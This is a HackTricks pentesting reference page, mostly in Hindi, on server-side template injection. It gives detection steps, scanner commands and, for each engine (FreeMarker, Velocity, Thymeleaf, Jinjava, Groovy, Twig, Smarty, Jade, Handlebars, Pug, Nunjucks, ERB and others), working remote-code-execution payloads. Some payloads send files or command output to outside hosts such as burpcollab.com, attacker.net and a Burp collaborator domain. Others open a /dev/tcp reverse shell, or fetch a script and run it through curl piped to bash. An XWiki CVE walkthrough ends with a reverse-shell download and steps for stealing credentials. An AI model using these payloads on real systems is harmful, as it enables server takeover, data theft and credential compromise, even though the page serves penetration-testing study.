SSTI (Server Side Template Injection)

Tip

AWS Hacking सीखें & अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE) assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।

HackTricks का समर्थन करें

SSTI (Server-Side Template Injection) क्या है

Server-side template injection एक vulnerability है जो तब होती है जब एक attacker किसी template में malicious code inject कर सकता है जो server पर execute होता है। यह vulnerability कई technologies में पायी जा सकती है, जिसमें Jinja भी शामिल है।

Jinja एक लोकप्रिय template engine है जो web applications में इस्तेमाल होता है। आइए एक उदाहरण देखें जो Jinja का उपयोग करते हुए vulnerable code snippet दिखाता है:

output = template.render(name=request.args.get('name'))

इस vulnerable कोड में, user’s request से name parameter सीधे render function के जरिए template में पास किया जा रहा है। इससे संभवतः एक attacker को name parameter में malicious code inject करने का मौका मिल सकता है, जिससे server-side template injection हो सकता है।

उदाहरण के लिए, एक attacker इस तरह का request एक payload के साथ craft कर सकता है:

http://vulnerable-website.com/?name={{bad-stuff-here}}

The payload {{bad-stuff-here}} is injected into the name parameter. This payload can contain Jinja template directives that enable the attacker to execute unauthorized code or manipulate the template engine, potentially gaining control over the server.

सर्वर-साइड टेम्पलेट इंजेक्शन से बचने के लिए developers को सुनिश्चित करना चाहिए कि user input को templates में डालने से पहले ठीक से sanitized और validated किया गया हो। उचित input validation लागू करना और context-aware escaping तकनीकों का उपयोग इस vulnerability के जोखिम को कम करने में मदद कर सकता है।

Detection

To detect Server-Side Template Injection (SSTI), initially, fuzzing the template is a straightforward approach. इसका मतलब है template में एक विशेष characters की सीक्वेंस (${{<%[%'"}}%\) इंजेक्ट करना और सर्वर के response में सामान्य डेटा बनाम इस विशेष payload के लिए हुए अंतर का विश्लेषण करना। Vulnerability के संकेतों में शामिल हैं:

  • थ्रो किए गए errors, जो vulnerability और संभावित रूप से template engine का खुलासा करते हैं।
  • reflection में payload का न दिखना, या उसके कुछ हिस्सों का ग़ायब होना, जो इशारा करता है कि सर्वर उसे सामान्य डेटा से अलग तरीके से प्रोसेस कर रहा है।
  • Plaintext Context: XSS से अलग करने के लिए जाँचें कि क्या सर्वर template expressions को evaluate करता है (जैसे {{7*7}}, ${7*7})।
  • Code Context: इनपुट पैरामीटर बदलकर vulnerability की पुष्टि करें। उदाहरण के लिए, http://vulnerable-website.com/?greeting=data.username में greeting बदलकर देखें कि सर्वर का आउटपुट dynamic है या fixed, जैसे कि greeting=data.username}}hello में username लौटना।

Identification Phase

टेम्पलेट इंजन की पहचान करने के लिए error messages का विश्लेषण करें या विभिन्न language-specific payloads को मैन्युअली टेस्ट करें। सामान्य payloads जो errors पैदा करते हैं उनमें ${7/0}, {{7/0}}, और <%= 7/0 %> शामिल हैं। सर्वर के mathematical operations के response को देखकर specific template engine का पता लगाया जा सकता है।

Identification by payloads

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

Tools

TInjA

an efficient SSTI + CSTI scanner which utilizes novel polyglots

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

एक interactive table जो सबसे प्रभावी template injection polyglots और 44 सबसे महत्वपूर्ण template engines के अपेक्षित responses को दर्शाती है।

Exploits

Generic

इस wordlist में आप नीचे बताए गए कुछ engines के environments में उपलब्ध variables defined देख सकते हैं:

Java

Java - Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - सिस्टम के environment variables प्राप्त करें

${T(java.lang.System).getenv()}

Java - प्राप्त करें /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

आप अपने payloads को https://try.freemarker.apache.org पर आज़मा सकते हैं

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

⚠️ केवल Freemarker के 2.3.30 से कम वाले संस्करणों में काम करता है

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

अधिक जानकारी

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

अधिक जानकारी

Thymeleaf

Thymeleaf में, SSTI कमजोरियों के लिए एक सामान्य टेस्ट expression ${7*7} है, जो इस template engine पर भी लागू होता है। संभावित remote code execution के लिए, निम्नलिखित जैसी expressions का उपयोग किया जा सकता है:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf इन expressions को specific attributes के अंदर रखने की आवश्यकता होती है। हालाँकि, expression inlining अन्य template स्थानों के लिए supported है, सिंटैक्स जैसे [[...]] या [(...)] का उपयोग करते हुए। इसलिए, एक साधारण SSTI test payload इस तरह दिख सकता है [[${7*7}]]

हालाँकि, इस payload के काम करने की संभावना आमतौर पर कम होती है। Thymeleaf की default configuration dynamic template generation को सपोर्ट नहीं करती; templates को predefined होना चाहिए। Developers को अपनी खुद की TemplateResolver implement करनी होगी ताकि strings से on-the-fly templates बनाए जा सकें, जो असामान्य है।

Thymeleaf expression preprocessing भी प्रदान करता है, जहाँ double underscores (__...__) के भीतर expressions को preprocess किया जाता है। इस सुविधा का उपयोग expressions के निर्माण में किया जा सकता है, जैसा कि Thymeleaf के documentation में प्रदर्शित है:

#{selection.__${sel.code}__}

Thymeleaf में Vulnerability का उदाहरण

निम्नलिखित code snippet पर विचार करें, जो exploitation के लिए संवेदनशील हो सकता है:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

यह संकेत देता है कि यदि template engine इन इनपुट्स को गलत तरीके से प्रोसेस करता है, तो यह remote code execution का कारण बन सकता है और URLs जैसे तक पहुँच सकता है:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

अधिक जानकारी

EL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

फ़िल्टर बायपास करें

कई वैरिएबल अभिव्यक्तियाँ उपयोग की जा सकती हैं, यदि ${...} काम नहीं करता है तो #{...}, *{...}, @{...} या ~{...} आज़माएँ।

  • पढ़ें /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • payload जनरेशन के लिए कस्टम स्क्रिप्ट
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

अधिक जानकारी

Spring View Manipulation (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Pebble का पुराना संस्करण ( < version 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Pebble का नया संस्करण :

{% raw %}
{% set cmd = 'id' %}
{% endraw %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava एक ओपन-सोर्स प्रोजेक्ट है जिसे HubSpot द्वारा विकसित किया गया है, और यह उपलब्ध है https://github.com/HubSpot/jinjava/

Jinjava - Command execution

फिक्स किया गया: https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

अधिक जानकारी

Hubspot - HuBL (Java)

  • {% %} स्टेटमेंट सीमांकक
  • {{ }} एक्सप्रेशन सीमांकक
  • {# #} कमेंट सीमांकक
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - “A”
  • {{'a'.concat('b')}} - “ab”
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

com.hubspot.content.hubl.context.TemplateContextRequest के लिए खोजने पर Jinjava project on Github मिला।

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

अधिक जानकारी

एक्सप्रेशन लैंग्वेज - EL (Java)

  • ${"aaaa"} - “aaaa”
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL) JavaEE में presentation layer (जैसे web pages) और application logic (जैसे managed beans) के बीच इंटरैक्शन की सुविधा प्रदान करने वाली एक मौलिक विशेषता है। इसे इस संचार को सरल बनाने के लिए कई JavaEE तकनीकों में व्यापक रूप से उपयोग किया जाता है। EL का उपयोग करने वाली प्रमुख JavaEE तकनीकें शामिल हैं:

  • JavaServer Faces (JSF): JSF पृष्ठों में components को संबंधित backend data और actions से bind करने के लिए EL का उपयोग करता है।
  • JavaServer Pages (JSP): JSP पृष्ठों के भीतर data तक पहुंचने और उसे manipulate करने के लिए EL का उपयोग होता है, जिससे पृष्ठ तत्वों को application data से जोड़ना आसान होता है।
  • Contexts and Dependency Injection for Java EE (CDI): EL, CDI के साथ एकीकृत होकर web layer और managed beans के बीच सहज इंटरैक्शन की अनुमति देता है, जिससे एक अधिक संगठित application structure सुनिश्चित होता है।

निम्न पृष्ठ देखें ताकि आप exploitation of EL interpreters के बारे में अधिक जान सकें:

EL - Expression Language

Groovy (Java)

निम्न Security Manager bypasses इस writeup से लिए गए हैं।

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

XWiki SolrSearch Groovy RCE (CVE-2025-24893)

XWiki ≤ 15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) Main.SolrSearch macro के माध्यम से बिना प्रमाणिकरण के RSS search feeds रेंडर करता है। यह handler text query parameter लेता है, उसे wiki syntax में लपेटता है और macros को evaluate करता है, इसलिए }}} के बाद {{groovy}} inject करने से JVM में arbitrary Groovy execute हो जाता है।

  1. Fingerprint & scope – जब XWiki host-based routing के पीछे reverse-proxied हो, तो wiki vhost खोजने के लिए Host header को fuzz करें (ffuf -u http://<ip> -H "Host: FUZZ.target" ...), फिर /xwiki/bin/view/Main/ ब्राउज़ करें और footer (XWiki Debian 15.10.8) पढ़कर vulnerable build पिन करें।
  2. Trigger SSTI – Request /xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. RSS item <title> में Groovy output होगा। हमेशा “URL-encode all characters” करें ताकि spaces %20 बने रहें; उन्हें + से बदलने पर XWiki HTTP 500 फेंकता है।
  3. Run OS commands – Groovy body को {{groovy}}println("id".execute().text){{/groovy}} से बदलें। String.execute() सीधे execve() से command spawn करता है, इसलिए shell metacharacters (|, >, &) interpret नहीं होते। इसके बजाय download-and-execute pattern का उपयोग करें:
  • "curl http://ATTACKER/rev -o /dev/shm/rev".execute().text
  • "bash /dev/shm/rev".execute().text (यह script reverse shell logic रखता है).
  1. Post exploitation – XWiki डेटाबेस credentials /etc/xwiki/hibernate.cfg.xml में स्टोर करता है; hibernate.connection.password को leak करने से real-system passwords मिलते हैं जिन्हें SSH पर reuse किया जा सकता है। अगर service unit NoNewPrivileges=true सेट करता है, तो /bin/su जैसे tools valid passwords होने पर भी अतिरिक्त privileges नहीं लेंगे, इसलिए स्थानीय SUID binaries पर भरोसा करने के बजाय SSH के माध्यम से pivot करें।

वही payload /xwiki/bin/get/Main/SolrSearch पर भी काम करता है, और Groovy stdout हमेशा RSS title में embedded रहता है, इसलिए commands की enumeration script करना आसान है।

अन्य Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

अधिक जानकारी

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - टेम्पलेट प्रारूप

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

अधिक जानकारी

Plates (PHP)

Plates PHP का एक देशज टेम्पलेटिंग इंजन है, जो Twig से प्रेरणा लेता है। हालाँकि, Twig के विपरीत, जो एक नई सिंटैक्स पेश करता है, Plates टेम्पलेट्स में मूल PHP कोड का उपयोग करता है, जिससे यह PHP डेवलपर्स के लिए सहज हो जाता है।

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

पृष्ठ टेम्पलेट:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

लेआउट टेम्पलेट:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

अधिक जानकारी

PHPlib और HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB PHPlib के समान है लेकिन Pear पर पोर्ट किया गया है।

authors.tpl

<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

अधिक जानकारी

अन्य PHP

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

अधिक जानकारी

patTemplate (PHP)

patTemplate एक non-compiling PHP templating engine है, जो XML टैग्स का उपयोग करके दस्तावेज़ को विभिन्न भागों में विभाजित करता है

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

अधिक जानकारी

Handlebars (NodeJS)

Path Traversal (अधिक जानकारी here).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = त्रुटि
  • ${7*7} = ${7*7}
  • कुछ नहीं
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

अधिक जानकारी

JsRender (NodeJS)

टेम्पलेटविवरण
आउटपुट का मूल्यांकन और रेंडर
HTML एन्कोडेड आउटपुट का मूल्यांकन और रेंडर
टिप्पणी
औरकोड की अनुमति दें (डिफ़ॉल्ट रूप से अक्षम)
  • = 49

क्लाइंट साइड

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

सर्वर साइड

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

अधिक जानकारी

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

सर्वर-साइड रेंडर का उदाहरण

var pugjs = require("pug")
home = pugjs.render(injected_page)

अधिक जानकारी

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = कोई आउटपुट नहीं
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = त्रुटि
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}

अधिक जानकारी

NodeJS expression sandboxes (vm2 / isolated-vm)

कुछ workflow builders Node सैंडबॉक्स (vm2, isolated-vm) के अंदर user-controlled expressions का मूल्यांकन करते हैं, फिर भी expression context अभी भी this.process.mainModule.require को एक्सपोज़ करता है। इससे एक हमलावर child_process लोड कर सकता है और OS commands चला सकता है, भले ही dedicated “Execute Command” nodes disabled हों:

={{ (function() {
const require = this.process.mainModule.require;
const execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}

अन्य NodeJS

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

अधिक जानकारी

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

अधिक जानकारी

